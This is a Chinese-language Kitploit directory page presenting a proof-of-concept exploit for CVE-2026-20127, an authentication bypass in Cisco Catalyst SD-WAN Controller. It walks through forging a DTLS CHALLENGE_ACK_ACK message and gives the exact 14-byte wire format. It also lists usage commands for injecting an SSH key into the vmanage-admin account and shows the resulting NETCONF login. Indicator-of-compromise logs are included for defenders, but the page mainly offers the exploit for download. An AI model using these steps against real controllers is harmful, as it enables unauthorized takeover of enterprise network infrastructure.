Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-20127 — Cisco Catalyst SD-WAN Controller 身份验证绕过漏洞(CVE-2026-20127)的利用程序,通过伪造 DTLS CHALLENGE_ACK_ACK 消息来获取未授权访问权限并注入 SSH 密钥。 | Kitploit
工具/GitHubGitHub/sfewer-r7/cve-2026-20127
漏洞分析漏洞利用网络安全渗透测试身份验证红队
GitHubsfewer-r7/cve-2026-20127

CVE-2026-20127

Cisco Catalyst SD-WAN Controller 身份验证绕过漏洞(CVE-2026-20127)的利用程序,通过伪造 DTLS CHALLENGE_ACK_ACK 消息来获取未授权访问权限并注入 SSH 密钥。

查看仓库
2435个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-20127

概述

针对 Cisco Catalyst SD-WAN Controller 认证绕过漏洞 CVE-2026-20127 的漏洞利用程序。

该漏洞利用程序针对 vbond_proc_challenge_ack_ack() 处理器。它发送一条伪造的 CHALLENGE_ACK_ACK 消息(msg_type=10),其中包含攻击者控制的 verify_status=1 字节,直接强制服务器在对端条目上设置 authenticated=1。

工作原理

在正常的 DTLS 控制平面握手过程中:

  1. 客户端通过 DTLS 使用证书连接
  2. 服务器发送 CHALLENGE(msg_type=8)
  3. 客户端响应 CHALLENGE_ACK(msg_type=9),其中包含证书数据
  4. 服务器验证证书并发送 CHALLENGE_ACK_ACK(msg_type=10),其中包含 verify_status=1

该漏洞利用程序绕过了这一流程:

  1. 客户端通过 DTLS 使用自签名证书连接
  2. 服务器发送 CHALLENGE
  3. 客户端直接发送 CHALLENGE_ACK_ACK(msg_type=10),其中包含 verify_status=1
  4. 服务器的 vbond_proc_challenge_ack_ack() 从消息体中读取 verify_status——该值由攻击者控制
  5. 由于 verify_status != 0,服务器设置 authenticated=1(*(BYTE*)(a2+70) = 1)

vbond_proc_msg() 中的认证门禁豁免了 msg_type=10 的认证检查,因此即使对端尚未通过认证,该攻击也能成功。

已在 Cisco Catalyst SD-WAN Controller(又称 vSmart)版本 20.15.3 上测试成功。

已在已打补丁的 Cisco Catalyst SD-WAN Controller(又称 vSmart)版本 20.12.6.1 上测试失败。

使用方法

root@kitploit:~
用法: ./bin/vdaemon_exploit TARGET [选项]

vdaemon DTLS 认证绕过 PoC(CVE-2026-20127)

该漏洞利用程序针对 vbond_proc_challenge_ack_ack() 处理器。
它发送一条伪造的 CHALLENGE_ACK_ACK,其中包含 verify_status=1,
导致服务器在未进行证书验证的情况下设置 authenticated=1。

    -p, --port PORT                  DTLS 端口(默认: 12346)
        --inject-key                 生成并注入 SSH 密钥到 vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE       要注入的 SSH 公钥文件路径
        --cert CERT_FILE            用于 DTLS 握手的 PEM 证书文件路径
        --cert-key KEY_FILE         用于 DTLS 握手的 PEM 私钥文件路径(与 --cert 一起使用)
        --data-dir DIR              生成的密钥/证书目录(默认: ./data/)

示例:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

示例

root@kitploit:~
# 安装依赖
bundle install

# 运行漏洞利用程序 - 测试认证绕过
ruby ./bin/vdaemon_exploit 192.168.86.166

# 运行漏洞利用程序 - 利用认证绕过注入 SSH 密钥
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# 利用 SSH 密钥 - 以 vmanage-admin 身份登录 NETCONF
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

以下截图展示了成功的漏洞利用以及随后通过 SSH 访问 NETCONF 服务的过程:

CVE-2026-20127 示例

技术细节

易受攻击的函数:vbond_proc_challenge_ack_ack()

位于 vdaemon(20.12.5)中的地址 0x38AB7。该函数处理传入的 CHALLENGE_ACK_ACK 消息,并具有以下关键检查:

  1. 重复检查(a2+112):如果该对端已处理过 CHALLENGE_ACK_ACK,则拒绝。首次处理时,该计数器为 0 → 通过。
  2. vBond 拒绝(a1+8 == 4):如果本地设备是 vBond,则返回 20。我们针对 vSmart(type=3)→ 通过。
  3. 定时器创建:创建 hello-timer 和 expiry-timer。不太可能失败 → 通过。
  4. verify_status(a3+32):读取消息体的第一个字节。如果为零 → 拒绝路径(删除对端)。如果非零 → 设置 *(BYTE*)(a2+70) = 1(已认证)。

关键缺陷:verify_status 直接来自攻击者控制的消息体,服务器端没有任何验证。该函数信任对端关于验证状态的声明。

认证门禁豁免

在 vbond_proc_msg() 中,阻止未认证对端发送大多数消息类型的认证门禁明确豁免了 msg_type=10(CHALLENGE_ACK_ACK)。这对于合法的协议流程是必要的(服务器在认证完成之前向客户端发送 ACK_ACK),但它也允许攻击者向服务器发送伪造的 ACK_ACK。

线上格式

该漏洞利用程序发送一条 14 字节的消息:

root@kitploit:~
头部(12 字节):
  字节 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  字节 1:  0x30        (device_type=3/vSmart << 4)
  字节 2:  0xA0        (flags)
  字节 3:  0x00        (保留)
  字节 4-7:  domain_id  (大端序 u32, 默认: 1)
  字节 8-11: site_id    (大端序 u32, 默认: 100)

消息体(2 字节):
  字节 0:  0x01        (verify_status = 1 / TRUE)
  字节 1:  0x00        (保留)

IOC(入侵指标)

在此示例中,目标为 Cisco Catalyst SD-WAN Controller(又称 vSmart),版本 20.15.3。目标 IP 地址为 192.168.86.166,攻击者 IP 地址为 192.168.86.35。

日志文件 /var/log/vsyslog 记录了以下消息:

root@kitploit:~
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

日志文件 /var/log/vdebug 记录了以下消息:

root@kitploit:~
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
"
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up  generated-at:3-9-2026T15:2:12
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

成功使用该漏洞利用程序后,远程攻击者可以利用新上传的 vmanage-admin 用户的 SSH 密钥,通过 TCP 端口 830 上的 SSH 登录 NETCONF 服务。日志文件 /var/log/auth.log 记录了以下消息:

root@kitploit:~
Mar  9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar  9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)
下载工具